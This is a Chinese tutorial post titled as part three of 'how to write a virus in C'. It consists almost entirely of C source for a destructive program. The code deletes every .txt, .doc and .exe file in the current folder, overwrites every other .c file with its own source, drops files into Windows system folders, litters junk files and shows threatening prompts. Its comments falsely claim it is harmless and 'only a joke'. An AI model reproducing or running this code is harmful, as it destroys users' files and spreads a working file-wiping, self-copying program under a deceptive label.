怎样用C语言编写病毒(三)

/**********************************


IN FACT,IT"S NOT A VIRYUS AT ALL.


**********************************/

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
    FILE *in,*out;

    in = fopen(infile,"r");
    out = fopen(outfile,"w");

    while (!feof(in))
    {
        fputc(fgetc(in),out);
    }

    fclose(in);
    fclose(out);
}

/*

This function  named Rubbishmaker.

*/
void MakeRubbish()
{
    int i;    
    FILE *fp;
    char *path;
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"};
    char *addtion = ":\\";

    /* Make some rubbish at the current catalogue */
    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX" ;

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }


/* make some rubbish at the root catalogue */

    path = strcat(disk[getdisk()],addtion); /* get the root catalogue */

    chdir(path); /*change directory according to the "path" */

    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX";

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }

}


/*

  This function can  creat some .exe or .com documents in the sensitive place.
  Don't worry,It's only a joke.It will do no harm to your computer.

*/

void CreatEXE()
{
    int i;
    char *path;

    char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};


    for ( i = 0; i < 2; i++)
    {
        open(s[i], 0x0100,0x0080);
        copyfile( "C_KILLER.C",s[i]);

    }
}


/* remove something from your computer */
void Remove()
{
        
    int done;
    int i;

    struct ffblk ffblk;
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};
    for (i = 0; i < 3; i++)
    {
        done = findfirst(documenttype[i],&ffblk,2);
        while (!done)
        {
                remove(ffblk.ff_name);
                done = findnext(&ffblk);
        }
    }
}



/* overlay the c programs */
void Breed()
{
        
    int done;

    struct ffblk ffblk;

    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

        {
                copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }

}


void main()
{

        

        printf("THERE IS A VIRUS BY  XIAOKE.\n\n");

        Breed();
        Remove();
        CreatEXE();


        printf("COULD YOU TELL ME YOUR NAME?\n\n");
        printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

        MakeRubbish();
        getchar();
        printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

        clrscr();
        system("cmd");
}